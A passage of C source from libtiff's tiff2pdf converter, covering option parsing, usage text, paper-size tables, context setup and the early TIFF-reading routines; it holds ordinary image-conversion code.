void t2p_free(T2P*); #ifdef __cplusplus } #endif void t2p_read_tiff_init(T2P*, TIFF*); int t2p_cmp_t2p_page(const void*, const void*); void t2p_read_tiff_data(T2P*, TIFF*); void t2p_read_tiff_size(T2P*, TIFF*); void t2p_read_tiff_size_tile(T2P*, TIFF*, ttile_t); int t2p_tile_is_right_edge(T2P_TILES, ttile_t); int t2p_tile_is_bottom_edge(T2P_TILES, ttile_t); int t2p_tile_is_edge(T2P_TILES, ttile_t); int t2p_tile_is_corner_edge(T2P_TILES, ttile_t); tsize_t t2p_readwrite_pdf_image(T2P*, TIFF*, TIFF*); tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t); #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P*, TIFF*); #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t, tsize_t*, tstrip_t, uint32); #endif void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32); void t2p_write_advance_directory(T2P*, TIFF*); tsize_t t2p_sample_planar_separate_to_contig(T2P*, unsigned char*, unsigned char*, tsize_t); tsize_t t2p_sample_realize_palette(T2P*, unsigned char*); tsize_t t2p_sample_abgr_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgba_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgbaa_to_rgb(tdata_t, uint32); tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t, uint32); tsize_t t2p_write_pdf_header(T2P*, TIFF*); tsize_t t2p_write_pdf_obj_start(uint32, TIFF*); tsize_t t2p_write_pdf_obj_end(TIFF*); tsize_t t2p_write_pdf_name(unsigned char*, TIFF*); tsize_t t2p_write_pdf_string(char*, TIFF*); tsize_t t2p_write_pdf_stream(tdata_t, tsize_t, TIFF*); tsize_t t2p_write_pdf_stream_start(TIFF*); tsize_t t2p_write_pdf_stream_end(TIFF*); tsize_t t2p_write_pdf_stream_dict(tsize_t, uint32, TIFF*); tsize_t t2p_write_pdf_stream_dict_start(TIFF*); tsize_t t2p_write_pdf_stream_dict_end(TIFF*); tsize_t t2p_write_pdf_stream_length(tsize_t, TIFF*); tsize_t t2p_write_pdf_catalog(T2P*, TIFF*); tsize_t t2p_write_pdf_info(T2P*, TIFF*, TIFF*); void t2p_pdf_currenttime(T2P*); void t2p_pdf_tifftime(T2P*, TIFF*); tsize_t t2p_write_pdf_pages(T2P*, TIFF*); tsize_t t2p_write_pdf_page(uint32, T2P*, TIFF*); void t2p_compose_pdf_page(T2P*); void t2p_compose_pdf_page_orient(T2P_BOX*, uint16); void t2p_compose_pdf_page_orient_flip(T2P_BOX*, uint16); tsize_t t2p_write_pdf_page_content(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer_dict(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_transfer_stream(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_xobject_calcs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_dict(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_decode(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xreftable(T2P*, TIFF*); tsize_t t2p_write_pdf_trailer(T2P*, TIFF*); #define check_snprintf_ret(t2p, rv, buf) do { \ if ((rv) < 0) rv = 0; \ else if((rv) >= (int)sizeof(buf)) (rv) = sizeof(buf) - 1; \ else break; \ if ((t2p) != NULL) (t2p)->t2p_error = T2P_ERR_ERROR; \ } while(0) static void t2p_disable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 1; } static void t2p_enable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 0; } /* * Procs for TIFFClientOpen */ #ifdef OJPEG_SUPPORT static tmsize_t t2pReadFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetReadProc(tif); if (proc) return proc(client, data, size); return -1; } #endif /* OJPEG_SUPPORT */ static tmsize_t t2pWriteFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetWriteProc(tif); if (proc) return proc(client, data, size); return -1; } static uint64 t2pSeekFile(TIFF *tif, toff_t offset, int whence) { thandle_t client = TIFFClientdata(tif); TIFFSeekProc proc = TIFFGetSeekProc(tif); if (proc) return proc(client, offset, whence); return -1; } static tmsize_t t2p_readproc(thandle_t handle, tdata_t data, tmsize_t size) { (void) handle, (void) data, (void) size; return -1; } static tmsize_t t2p_writeproc(thandle_t handle, tdata_t data, tmsize_t size) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) { tsize_t written = fwrite(data, 1, size, t2p->outputfile); t2p->outputwritten += written; return written; } return size; } static uint64 t2p_seekproc(thandle_t handle, uint64 offset, int whence) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) return _TIFF_fseek_f(t2p->outputfile, (_TIFF_off_t) offset, whence); return offset; } static int t2p_closeproc(thandle_t handle) { T2P *t2p = (T2P*) handle; return fclose(t2p->outputfile); } static uint64 t2p_sizeproc(thandle_t handle) { (void) handle; return -1; } static int t2p_mapproc(thandle_t handle, void **data, toff_t *offset) { (void) handle, (void) data, (void) offset; return -1; } static void t2p_unmapproc(thandle_t handle, void *data, toff_t offset) { (void) handle, (void) data, (void) offset; } #if defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) static uint64 checkAdd64(uint64 summand1, uint64 summand2, T2P* t2p) { uint64 bytes = summand1 + summand2; if (bytes < summand1) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } #endif /* defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) */ static uint64 checkMultiply64(uint64 first, uint64 second, T2P* t2p) { uint64 bytes = first * second; if (second && bytes / second != first) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } /* This is the main function. The program converts one TIFF file to one PDF file, including multiple page TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF files that contain data of TIFF photometric interpretations of bilevel, grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by libtiff and PDF. If you have multiple TIFF files to convert into one PDF file then use tiffcp or other program to concatenate the files into a multiple page TIFF file. If the input TIFF file is of huge dimensions (greater than 10000 pixels height or width) convert the input image to a tiled TIFF if it is not already. The standard output is standard output. Set the output file name with the "-o output.pdf" option. All black and white files are compressed into a single strip CCITT G4 Fax compressed PDF, unless tiled, where tiled black and white images are compressed into tiled CCITT G4 Fax compressed PDF, libtiff CCITT support is assumed. Color and grayscale data can be compressed using either JPEG compression, ITU-T T.81, or Zip/Deflate LZ77 compression, per PNG 1.2 and RFC 1951. Set the compression type using the -j or -z options. JPEG compression support requires that libtiff be configured with JPEG support, and Zip/Deflate compression support requires that libtiff is configured with Zip support, in tiffconf.h. Use only one or the other of -j and -z. The -q option sets the image compression quality, that is 1-100 with libjpeg JPEG compression and one of 1, 10, 11, 12, 13, 14, or 15 for PNG group compression predictor methods, add 100, 200, ..., 900 to set zlib compression quality 1-9. PNG Group differencing predictor methods are not currently implemented. If the input TIFF contains single strip CCITT G4 Fax compressed information, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set, -d and -n. If the input TIFF contains JPEG or single strip Zip/Deflate compressed information, and they are configured, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set. The default page size upon which the TIFF image is placed is determined by the resolution and extent of the image data. Default values for the TIFF image resolution can be set using the -x and -y options. The page size can be set using the -p option for paper size, or -w and -l for paper width and length, then each page of the TIFF image is centered on its page. The distance unit for default resolution and page width and length can be set by the -u option, the default unit is inch. Various items of the output document information can be set with the -e, -c, -a, -t, -s, and -k tags. Setting the argument of the option to "" for these tags causes the relevant document information field to be not written. Some of the document information values otherwise get their information from the input TIFF image, the software, author, document name, and image description. The output PDF file conforms to the PDF 1.1 specification or PDF 1.2 if using Zip/Deflate compression. The Portable Document Format (PDF) specification is copyrighted by Adobe Systems, Incorporated. Todos derechos reservados. Here is a listing of the usage example and the options to the tiff2pdf program that is part of the libtiff distribution. Options followed by a colon have a required argument. usage: tiff2pdf [options] input.tif options: -o: output to file name -j: compress with JPEG (requires libjpeg configured with libtiff) -z: compress with Zip/Deflate (requires zlib configured with libtiff) -q: compression quality -n: no compressed data passthrough -d: do not compress (decompress) -i: invert colors -u: set distance unit, 'i' for inch, 'm' for centimeter -x: set x resolution default -y: set y resolution default -w: width in units -l: length in units -r: 'd' for resolution default, 'o' for resolution override -p: paper size, eg "letter", "legal", "a4" -F: make the tiff fill the PDF page -f: set pdf "fit window" user preference -b: set PDF "Interpolate" user preference -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS -c: creator, overrides image software default -a: author, overrides image artist default -t: title, overrides image document name default -s: subject, overrides image image description default -k: keywords -h: usage examples: tiff2pdf -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff. tiff2pdf input.tiff The above example would generate PDF output from input.tiff and write it to standard output. tiff2pdf -j -p letter -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff, putting the image pages on a letter sized page, compressing the output with JPEG. Please report bugs through: http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff See also libtiff.3t, tiffcp. */ int main(int argc, char** argv){ #if !HAVE_DECL_OPTARG extern char *optarg; extern int optind; #endif const char *outfilename = NULL; T2P *t2p = NULL; TIFF *input = NULL, *output = NULL; int c, ret = EXIT_SUCCESS; t2p = t2p_init(); if (t2p == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't initialize context"); goto fail; } while (argv && (c = getopt(argc, argv, "o:q:u:x:y:w:l:r:p:e:c:a:t:s:k:jzndifbhF")) != -1){ switch (c) { case 'o': outfilename = optarg; break; #ifdef JPEG_SUPPORT case 'j': t2p->pdf_defaultcompression=T2P_COMPRESS_JPEG; break; #endif #ifndef JPEG_SUPPORT case 'j': TIFFWarning( TIFF2PDF_MODULE, "JPEG support in libtiff required for JPEG compression, ignoring option"); break; #endif #ifdef ZIP_SUPPORT case 'z': t2p->pdf_defaultcompression=T2P_COMPRESS_ZIP; break; #endif #ifndef ZIP_SUPPORT case 'z': TIFFWarning( TIFF2PDF_MODULE, "Zip support in libtiff required for Zip compression, ignoring option"); break; #endif case 'q': t2p->pdf_defaultcompressionquality=atoi(optarg); break; case 'n': t2p->pdf_nopassthrough=1; break; case 'd': t2p->pdf_defaultcompression=T2P_COMPRESS_NONE; break; case 'u': if(optarg[0]=='m'){ t2p->pdf_centimeters=1; } break; case 'x': t2p->pdf_defaultxres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'y': t2p->pdf_defaultyres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'w': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagewidth = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'l': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagelength = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'r': if(optarg[0]=='o'){ t2p->pdf_overrideres=1; } break; case 'p': if(tiff2pdf_match_paper_size( &(t2p->pdf_defaultpagewidth), &(t2p->pdf_defaultpagelength), optarg)){ t2p->pdf_overridepagesize=1; } else { TIFFWarning(TIFF2PDF_MODULE, "Unknown paper size %s, ignoring option", optarg); } break; case 'i': t2p->pdf_colorspace_invert=1; break; case 'F': t2p->pdf_image_fillpage = 1; break; case 'f': t2p->pdf_fitwindow=1; break; case 'e': if (strlen(optarg) == 0) { t2p->pdf_datetime[0] = '\0'; } else { t2p->pdf_datetime[0] = 'D'; t2p->pdf_datetime[1] = ':'; strncpy(t2p->pdf_datetime + 2, optarg, sizeof(t2p->pdf_datetime) - 3); t2p->pdf_datetime[sizeof(t2p->pdf_datetime) - 1] = '\0'; } break; case 'c': strncpy(t2p->pdf_creator, optarg, sizeof(t2p->pdf_creator) - 1); t2p->pdf_creator[sizeof(t2p->pdf_creator) - 1] = '\0'; break; case 'a': strncpy(t2p->pdf_author, optarg, sizeof(t2p->pdf_author) - 1); t2p->pdf_author[sizeof(t2p->pdf_author) - 1] = '\0'; break; case 't': strncpy(t2p->pdf_title, optarg, sizeof(t2p->pdf_title) - 1); t2p->pdf_title[sizeof(t2p->pdf_title) - 1] = '\0'; break; case 's': strncpy(t2p->pdf_subject, optarg, sizeof(t2p->pdf_subject) - 1); t2p->pdf_subject[sizeof(t2p->pdf_subject) - 1] = '\0'; break; case 'k': strncpy(t2p->pdf_keywords, optarg, sizeof(t2p->pdf_keywords) - 1); t2p->pdf_keywords[sizeof(t2p->pdf_keywords) - 1] = '\0'; break; case 'b': t2p->pdf_image_interpolate = 1; break; case 'h': case '?': tiff2pdf_usage(); goto success; break; } } /* * Input */ if(argc > optind) { input = TIFFOpen(argv[optind++], "r"); if (input==NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open input file %s for reading", argv[optind-1]); goto fail; } } else { TIFFError(TIFF2PDF_MODULE, "No input file specified"); tiff2pdf_usage(); goto fail; } if(argc > optind) { TIFFError(TIFF2PDF_MODULE, "No support for multiple input files"); tiff2pdf_usage(); goto fail; } /* * Output */ t2p->outputdisable = 1; if (outfilename) { t2p->outputfile = fopen(outfilename, "wb"); if (t2p->outputfile == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open output file %s for writing", outfilename); goto fail; } } else { outfilename = "-"; t2p->outputfile = stdout; } output = TIFFClientOpen(outfilename, "w", (thandle_t) t2p, t2p_readproc, t2p_writeproc, t2p_seekproc, t2p_closeproc, t2p_sizeproc, t2p_mapproc, t2p_unmapproc); t2p->outputdisable = 0; if (output == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't initialize output descriptor"); goto fail; } /* * Validate */ t2p_validate(t2p); t2pSeekFile(output, (toff_t) 0, SEEK_SET); /* * Write */ t2p_write_pdf(t2p, input, output); if (t2p->t2p_error != 0) { TIFFError(TIFF2PDF_MODULE, "An error occurred creating output PDF file"); goto fail; } goto success; fail: ret = EXIT_FAILURE; success: if(input != NULL) TIFFClose(input); if (output != NULL) TIFFClose(output); if (t2p != NULL) t2p_free(t2p); return ret; } void tiff2pdf_usage(){ char* lines[]={ "usage: tiff2pdf [options] input.tiff", "options:", " -o: output to file name", #ifdef JPEG_SUPPORT " -j: compress with JPEG", #endif #ifdef ZIP_SUPPORT " -z: compress with Zip/Deflate", #endif " -q: compression quality", " -n: no compressed data passthrough", " -d: do not compress (decompress)", " -i: invert colors", " -u: set distance unit, 'i' for inch, 'm' for centimeter", " -x: set x resolution default in dots per unit", " -y: set y resolution default in dots per unit", " -w: width in units", " -l: length in units", " -r: 'd' for resolution default, 'o' for resolution override", " -p: paper size, eg \"letter\", \"legal\", \"A4\"", " -F: make the tiff fill the PDF page", " -f: set PDF \"Fit Window\" user preference", " -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS", " -c: sets document creator, overrides image software default", " -a: sets document author, overrides image artist default", " -t: sets document title, overrides image document name default", " -s: sets document subject, overrides image image description default", " -k: sets document keywords", " -b: set PDF \"Interpolate\" user preference", " -h: usage", NULL }; int i=0; fprintf(stderr, "%s\n\n", TIFFGetVersion()); for (i=0;lines[i]!=NULL;i++){ fprintf(stderr, "%s\n", lines[i]); } return; } int tiff2pdf_match_paper_size(float* width, float* length, char* papersize){ size_t i, len; const char* sizes[]={ "LETTER", "A4", "LEGAL", "EXECUTIVE", "LETTER", "LEGAL", "LEDGER", "TABLOID", "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "A10", "A9", "A8", "A7", "A6", "A5", "A4", "A3", "A2", "A1", "A0", "2A0", "4A0", "2A", "4A", "B10", "B9", "B8", "B7", "B6", "B5", "B4", "B3", "B2", "B1", "B0", "JISB10", "JISB9", "JISB8", "JISB7", "JISB6", "JISB5", "JISB4", "JISB3", "JISB2", "JISB1", "JISB0", "C10", "C9", "C8", "C7", "C6", "C5", "C4", "C3", "C2", "C1", "C0", "RA2", "RA1", "RA0", "SRA4", "SRA3", "SRA2", "SRA1", "SRA0", "A3EXTRA", "A4EXTRA", "STATEMENT", "FOLIO", "QUARTO", NULL } ; const int widths[]={ 612, 595, 612, 522, 612,612,792,792, 612,792,1224,1584,2448,2016,792,2016,2448,2880, 74,105,147,210,298,420,595,842,1191,1684,2384,3370,4768,3370,4768, 88,125,176,249,354,499,709,1001,1417,2004,2835, 91,128,181,258,363,516,729,1032,1460,2064,2920, 79,113,162,230,323,459,649,918,1298,1298,2599, 1219,1729,2438,638,907,1276,1814,2551, 914,667, 396, 612, 609, 0 }; const int lengths[]={ 792,842,1008, 756,792,1008,1224,1224, 792,1224,1584,2448,3168,2880,6480,10296,12672,10296, 105,147,210,298,420,595,842,1191,1684,2384,3370,4768,6741,4768,6741, 125,176,249,354,499,709,1001,1417,2004,2835,4008, 128,181,258,363,516,729,1032,1460,2064,2920,4127, 113,162,230,323,459,649,918,1298,1837,1837,3677, 1729,2438,3458,907,1276,1814,2551,3628, 1262,914, 612, 936, 780, 0 }; len=strlen(papersize); for(i=0;i<len;i++){ papersize[i]=toupper((int) papersize[i]); } for(i=0;sizes[i]!=NULL; i++){ if (strcmp( (const char*)papersize, sizes[i])==0){ *width=(float)widths[i]; *length=(float)lengths[i]; return(1); } } return(0); } /* * This function allocates and initializes a T2P context struct pointer. */ T2P* t2p_init() { T2P* t2p = (T2P*) _TIFFmalloc(sizeof(T2P)); if(t2p==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_init", (unsigned long) sizeof(T2P)); return( (T2P*) NULL ); } _TIFFmemset(t2p, 0x00, sizeof(T2P)); t2p->pdf_majorversion=1; t2p->pdf_minorversion=1; t2p->pdf_defaultxres=300.0; t2p->pdf_defaultyres=300.0; t2p->pdf_defaultpagewidth=612.0; t2p->pdf_defaultpagelength=792.0; t2p->pdf_xrefcount=3; /* Catalog, Info, Pages */ return(t2p); } /* * This function frees a T2P context struct pointer and any allocated data fields of it. */ void t2p_free(T2P* t2p) { int i = 0; if (t2p != NULL) { if(t2p->pdf_xrefoffsets != NULL){ _TIFFfree( (tdata_t) t2p->pdf_xrefoffsets); } if(t2p->tiff_pages != NULL){ _TIFFfree( (tdata_t) t2p->tiff_pages); } for(i=0;i<t2p->tiff_pagecount;i++){ if(t2p->tiff_tiles[i].tiles_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles[i].tiles_tiles); } } if(t2p->tiff_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles); } if(t2p->pdf_palette != NULL){ _TIFFfree( (tdata_t) t2p->pdf_palette); } #ifdef OJPEG_SUPPORT if(t2p->pdf_ojpegdata != NULL){ _TIFFfree( (tdata_t) t2p->pdf_ojpegdata); } #endif _TIFFfree( (tdata_t) t2p ); } return; } /* This function validates the values of a T2P context struct pointer before calling t2p_write_pdf with it. */ void t2p_validate(T2P* t2p){ #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_defaultcompressionquality>100 || t2p->pdf_defaultcompressionquality<1){ t2p->pdf_defaultcompressionquality=0; } } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_ZIP){ uint16 m=t2p->pdf_defaultcompressionquality%100; if(t2p->pdf_defaultcompressionquality/100 > 9 || (m>1 && m<10) || m>15){ t2p->pdf_defaultcompressionquality=0; } if(t2p->pdf_defaultcompressionquality%100 !=0){ t2p->pdf_defaultcompressionquality/=100; t2p->pdf_defaultcompressionquality*=100; TIFFError( TIFF2PDF_MODULE, "PNG Group predictor differencing not implemented, assuming compression quality %u", t2p->pdf_defaultcompressionquality); } t2p->pdf_defaultcompressionquality%=100; if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } #endif (void)0; return; } /* This function scans the input TIFF file for pages. It attempts to determine which IFD's of the TIFF file contain image document pages. For each, it gathers some information that has to do with the output of the PDF document as a whole. */ void t2p_read_tiff_init(T2P* t2p, TIFF* input){ tdir_t directorycount=0; tdir_t i=0; uint16 pagen=0; uint16 paged=0; uint16 xuint16=0; directorycount=TIFFNumberOfDirectories(input); t2p->tiff_pages = (T2P_PAGE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_PAGE))); if(t2p->tiff_pages==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_pages array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_PAGE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_pages, 0x00, directorycount * sizeof(T2P_PAGE)); t2p->tiff_tiles = (T2P_TILES*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_TILES))); if(t2p->tiff_tiles==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_tiles array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_TILES), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_tiles, 0x00, directorycount * sizeof(T2P_TILES)); for(i=0;i<directorycount;i++){ uint32 subfiletype = 0; if(!TIFFSetDirectory(input, i)){ TIFFError( TIFF2PDF_MODULE, "Can't set directory %u of input file %s", i, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PAGENUMBER, &pagen, &paged)){ if((pagen>paged) && (paged != 0)){ t2p->tiff_pages[t2p->tiff_pagecount].page_number = paged; } else { t2p->tiff_pages[t2p->tiff_pagecount].page_number = pagen; } goto ispage2; } if(TIFFGetField(input, TIFFTAG_SUBFILETYPE, &subfiletype)){ if ( ((subfiletype & FILETYPE_PAGE) != 0) || (subfiletype == 0)){ goto ispage; } else { goto isnotpage; } } if(TIFFGetField(input, TIFFTAG_OSUBFILETYPE, &subfiletype)){ if ((subfiletype == OFILETYPE_IMAGE) || (subfiletype == OFILETYPE_PAGE) || (subfiletype == 0) ){ goto ispage; } else { goto isnotpage; } } ispage: t2p->tiff_pages[t2p->tiff_pagecount].page_number=t2p->tiff_pagecount; ispage2: t2p->tiff_pages[t2p->tiff_pagecount].page_directory=i; if(TIFFIsTiled(input)){ t2p->tiff_pages[t2p->tiff_pagecount].page_tilecount = TIFFNumberOfTiles(input); } t2p->tiff_pagecount++; isnotpage: (void)0; } qsort((void*) t2p->tiff_pages, t2p->tiff_pagecount, sizeof(T2P_PAGE), t2p_cmp_t2p_page); for(i=0;i<t2p->tiff_pagecount;i++){ t2p->pdf_xrefcount += 5; TIFFSetDirectory(input, t2p->tiff_pages[i].page_directory ); if((TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &xuint16) && (xuint16==PHOTOMETRIC_PALETTE)) || TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)) { t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; } #ifdef ZIP_SUPPORT if (TIFFGetField(input, TIFFTAG_COMPRESSION, &xuint16)) { if( (xuint16== COMPRESSION_DEFLATE || xuint16== COMPRESSION_ADOBE_DEFLATE) && ((t2p->tiff_pages[i].page_tilecount != 0) || TIFFNumberOfStrips(input)==1) && (t2p->pdf_nopassthrough==0) ){ if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } } #endif if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount = 3; t2p->tiff_pages[i].page_extra += 4; t2p->pdf_xrefcount += 4; } else { t2p->tiff_transferfunctioncount = 1; t2p->tiff_pages[i].page_extra += 2; t2p->pdf_xrefcount += 2; } if(t2p->pdf_minorversion < 2) t2p->pdf_minorversion = 2; } else { t2p->tiff_transferfunctioncount=0; } if( TIFFGetField( input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile)) != 0){ t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; if(t2p->pdf_minorversion<3){t2p->pdf_minorversion=3;} } t2p->tiff_tiles[i].tiles_tilecount= t2p->tiff_pages[i].page_tilecount; if( (TIFFGetField(input, TIFFTAG_PLANARCONFIG, &xuint16) != 0) && (xuint16 == PLANARCONFIG_SEPARATE ) ){ if( !TIFFGetField(input, TIFFTAG_SAMPLESPERPIXEL, &xuint16) ) { TIFFError( TIFF2PDF_MODULE, "Missing SamplesPerPixel, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if( (t2p->tiff_tiles[i].tiles_tilecount % xuint16) != 0 ) { TIFFError( TIFF2PDF_MODULE, "Invalid tile count, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->tiff_tiles[i].tiles_tilecount/= xuint16; } if( t2p->tiff_tiles[i].tiles_tilecount > 0){ t2p->pdf_xrefcount += (t2p->tiff_tiles[i].tiles_tilecount -1)*2; TIFFGetField(input, TIFFTAG_TILEWIDTH, &( t2p->tiff_tiles[i].tiles_tilewidth) ); TIFFGetField(input, TIFFTAG_TILELENGTH, &( t2p->tiff_tiles[i].tiles_tilelength) ); t2p->tiff_tiles[i].tiles_tiles = (T2P_TILE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->tiff_tiles[i].tiles_tilecount, sizeof(T2P_TILE)) ); if( t2p->tiff_tiles[i].tiles_tiles == NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for t2p_read_tiff_init, %s", (TIFF_SIZE_T) t2p->tiff_tiles[i].tiles_tilecount * sizeof(T2P_TILE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } return; } /* * This function is used by qsort to sort a T2P_PAGE* array of page structures * by page number. If the page numbers are the same, we fall back to comparing * directory numbers to preserve the order of the input file. */ int t2p_cmp_t2p_page(const void* e1, const void* e2){ int d; d = (int32)(((T2P_PAGE*)e1)->page_number) - (int32)(((T2P_PAGE*)e2)->page_number); if(d == 0){ d = (int32)(((T2P_PAGE*)e1)->page_directory) - (int32)(((T2P_PAGE*)e2)->page_directory); } return d; } /* This function sets the input directory to the directory of a given page and determines information about the image. It checks the image characteristics to determine if it is possible to convert the image data into a page of PDF output, setting values of the T2P struct for this page. It determines what color space is used in the output PDF to represent the image. It determines if the image can be converted as raw data without requiring transcoding of the image data. */ void t2p_read_tiff_data(T2P* t2p, TIFF* input){ int i=0; uint16* r; uint16* g; uint16* b; uint16* a; uint16 xuint16; uint16* xuint16p; float* xfloatp; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; t2p->pdf_sample = T2P_SAMPLE_NOTHING; t2p->pdf_switchdecode = t2p->pdf_colorspace_invert; TIFFSetDirectory(input, t2p->tiff_pages[t2p->pdf_page].page_directory); TIFFGetField(input, TIFFTAG_IMAGEWIDTH, &(t2p->tiff_width)); if(t2p->tiff_width == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero width", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetField(input, TIFFTAG_IMAGELENGTH, &(t2p->tiff_length)); if(t2p->tiff_length == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero length", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_COMPRESSION, &(t2p->tiff_compression)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no compression tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if( TIFFIsCODECConfigured(t2p->tiff_compression) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with compression type %u: not configured", TIFFFileName(input), t2p->tiff_compression ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_BITSPERSAMPLE, &(t2p->tiff_bitspersample)); switch(t2p->tiff_bitspersample){ case 1: case 2: case 4: case 8: break; case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 bits per sample, assuming 1", TIFFFileName(input)); t2p->tiff_bitspersample=1; break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_SAMPLESPERPIXEL, &(t2p->tiff_samplesperpixel)); if(t2p->tiff_samplesperpixel>4){ TIFFError( TIFF2PDF_MODULE, "No support for %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } 